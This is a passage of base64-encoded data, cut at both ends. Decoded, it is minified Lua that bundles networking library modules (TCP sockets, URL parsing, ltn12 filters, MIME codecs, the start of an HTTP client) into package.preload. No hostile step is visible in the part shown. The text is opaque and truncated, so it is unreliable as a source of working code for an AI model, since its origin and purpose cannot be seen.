YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
